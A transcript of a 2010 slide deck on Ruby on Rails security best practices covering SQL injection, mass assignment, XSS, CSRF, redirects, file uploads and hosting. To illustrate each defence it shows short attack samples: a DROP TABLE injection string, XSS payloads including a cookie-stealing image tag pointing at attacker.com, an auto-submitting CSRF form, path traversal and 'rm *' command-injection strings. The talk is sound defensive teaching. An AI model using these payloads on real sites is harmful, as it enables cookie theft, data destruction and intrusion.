rails security

47
Rails Security Best Practices http://ihower.tw 2010/3

Post on 12-Sep-2014

16.482 views

Category:

Technology


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Rails Security

Rails Security Best Practices

http://ihower.tw2010/3

Page 2: Rails Security

About Me• 張文鈿 a.k.a. ihower

• http://ihower.tw

• http://twitter.com/ihower

• http://github.com/ihower

• Ruby on Rails Developer since 2006

• Ruby Taiwan Community

• http://ruby.tw

Page 3: Rails Security

Defense in Depth

• Network: firewalls, IDS

• Operating system

• Web server

• Web application

• Database

Page 4: Rails Security

75% of attacks are at the web application layer

(By The Gartnet Group estimation)

Page 5: Rails Security

What is Security?

• a measurement, not a characteristic

• not a simple requirement to be met...

• must be balanced with expense

• it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more...

• must be balanced with usability

• it’s often increase security also decrease the user usability...

• must be part of the design

(from PHP Security Guide: Overview)

Page 6: Rails Security

Okay, your users are evil,they will give you illegitimate operation and data.

Page 7: Rails Security

Agenda• Information leaks

• Session

• SQL injection

• Mass assignment

• Unscoped finds

• Controller Exposing methods

• XSS

• CSRF

• File uploads/download

• DoS

• Host

Page 8: Rails Security

Information Leaks

• Rails app?

• Web and Application server?

• SVN metadata?

Page 9: Rails Security

Rails app?• Default static files

• /javascript/application.js

• /stylesheets/application.css

• /images/

• URL schema

• /post/show/3

• /users/5

• 404/500/422 pages

Page 10: Rails Security

Web and Application Server?

• Server Header

• apache

• nginx

• mongrel

• mod_rails

Page 11: Rails Security

Disable Server HeaderServer:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9

# apache2.confServerSignature OffServerTokens Prod

Server:Apache

Page 12: Rails Security

SVN metadata

• GET http://your_site.org/.svn/entries

<DirectoryMatch "^/.*/\.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All</DirectoryMatch>

Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008

Page 13: Rails Security

Sensitive Information

• Do not store sensitive information in the clear

• cookie

• session(or flash)

• memory for a long time

• log files

• cache

Page 14: Rails Security

Filter Log params

Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}

# Rails 2.xclass ApplicationController < ActionController::Base filter_parameter_logging "password" end

Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}

Page 15: Rails Security

Cookie Session Storage

• Don’t use a trivial secret

• Don’t store any secret information here

• Or.... just switch to another session storage

# config/initializers/session_store.rbActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'}

Page 16: Rails Security

SessionThe session id is a 32 byte long MD5 hash value.

• Hijacking

• Fixation

• reset_session after every login

Page 17: Rails Security

SQL injection

Project.find(:all, :conditions => "name = '#{params[:name]}'")

SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’

!x'; DROP TABLE users; --

Page 18: Rails Security

SQL injectionvulnerabilities:

• find_by_sql

• execute

• find with conditions in a string

• limit and offset (before rails 2.1.1)

• group_by

• order

Page 19: Rails Security

Always use the hash or array form

Project.find(:all, :conditions => { :name => params[:name] } )# orProject.find(:all, :conditions => ["name = ?", params[:name] ] )

Page 20: Rails Security

Only allow predefine value

class User < ActiveRecord::Base

def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end

Page 21: Rails Security

Use quote if you need pass it directly

ActiveRecord::Base::connection.quote

class User < ActiveRecord::Base

def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end

Page 22: Rails Security

Mass assignment

!def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user])end

def update @user = User.update_attributes(params[:user])end

Page 23: Rails Security

Protect it!

class User < ActiveRecord::Base attr_protected :adminend

# or

class User < ActiveRecord::Base attr_accessible :nameend

Page 24: Rails Security

Assign protected attributes manually

params[:user] #=> {:name => "ow3ned", :admin => true}@user = User.new(params[:user])@user.admin #=> false # not [email protected] = [email protected] #=> true

Page 25: Rails Security

Unscoped finds

class UserOrdersController < ApplicationController

def show @order = Order.find(params[:id])end

def show @order = current_user.orders.find(params[:id]end

Page 26: Rails Security

Controller Exposing methods

• Use protected and private

• If use RESTful design, do not use default routes

• http://ihower.tw/blog/archives/3265

Page 27: Rails Security

<script>alert('HACK YOU!');</script>

<img src=javascript:alert('HACK YOU!')>

<table background="javascript:alert('HACK YOU!')">

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

XSS(Cross-Site Scripting)malicious users inject client-side script into web pages viewed by other users

• Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html

Page 28: Rails Security

XSS Protection (Rails2)

• Use escapeHTML() (or its alias h()) method

• Plugins

• http://github.com/nzkoz/rails_xss (for Rails 2.3)

• http://agilewebdevelopment.com/plugins/safe_erb

• http://code.google.com/p/xss-shield/ (Tainting way)

Page 29: Rails Security

• Rails 3 auto escape string

• Unless you html_safe or raw string

• “<p>safe</p>”.html_safe

• raw(“<p>safe</p>”)

XSS Protection (Rails3)

Page 30: Rails Security

Allow user to use simple HTML code

• Use white-list sanitize() method

• If you use Textile or Markdown markup language, you still need sanitize it.

Page 31: Rails Security

CSRFCross-Site Request Forgery

Use another users’ authorization token to interact with a web application as the trusted

user in a malicious way.

Page 32: Rails Security

CSRF protection (1)

• Use GET request for safe operation such as a query, read operation, or lookup

• Use POST request for any destructive actions such as create, update, delete

Page 33: Rails Security

But...

• POST requests can be sent automatically, too. An example:

<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>

Page 34: Rails Security

CSRF protection (2)protect_from_forgery will check all POST requests for a security token

class ApplicationController < ActionController::Base protect_from_forgeryend

<form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>

Page 35: Rails Security

RedirectionDo not allow user to pass (parts of) the URL for redirection directly

def legacy redirect_to(params.update(:action=>'main'))end

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

Page 36: Rails Security

File Uploads: Overwrite

• Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd”

• Validate file name is simple. Don’t try to remove malicious parts.

• Use plugins: attachment_fu or paperclip

Page 37: Rails Security

File Uploads: Executable

• never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc)

• when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks.

• or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)

Page 38: Rails Security

File downloads Make sure users cannot download arbitrary files.

send_file('/var/www/uploads/' + params[:filename])!

Page 39: Rails Security

Command Line Injection

system("/bin/echo","hello; rm *")# prints "hello; rm *" and does not delete files

Page 40: Rails Security

denial-of-service attacks (DoS)

• Avoid Long-running action, use background-processing.

• Don’t bother your application server

• Use Web server provide static files

• Use HTTP reverse proxy if need

Page 41: Rails Security

Host• Platform (Windows, Linux, Solaris, BSDs)

choosing one which you can trust and familiar

• Firewallyou can use nmap tool to show which ports are open

• SSH: move port 22 to another

• Turn off any services that you aren’t using.

• Hire system administrator to helpYour time as a developer should be spent on the things your are good at.

Page 42: Rails Security

One more concept...

Page 43: Rails Security

Fail Close# fail open way, it’s baddef show @invoice = Invoice.find(params[:id])

unless @user.validate_code( @invoice.code ) redirect_to :action => 'not_authorized' endend

# fail close waydef show @invoice = Invoice.find(params[:id]) if @user.validate_code( @invoice.code ) redirect_to :action => 'authorized else redirect_to :action => 'not_authorized' end end

Page 44: Rails Security

Whitelistinguse whitelist, blacklist is hardly complete

admins = %{ihower ihover}

# fail close wayif admins.include? user redirect_to :action => 'authorized'else redirect_to :action => 'not_authorized'end

# fail open way, don’t do thisif !admins.include? user redirect_to :action => 'not_authorized' else redirect_to :action => 'authorized'end

Page 45: Rails Security

Conclusion

• Rails has many security features enabled by default

• SQL quoting

• HTML sanitization

• CSRF protection

Page 46: Rails Security

Reference• Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application

(Pragmatic)

• Rails2 Chap.13 Security and Performance Enhancements (friendsof)

• Advanced Rails Chap.5 Security (O’Reilly)

• Security Audit by Aaron Bedra (Peepcode)

• Security on Rails (Pragmatic)

• PHP Security Guide

• http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap

• http://guides.rubyonrails.org/security.html

• http://www.rorsecurity.info

• http://asciicasts.com/episodes/178-seven-security-tips

• http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/

• http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide

• http://www.owasp.org

Page 47: Rails Security

The End感謝聆聽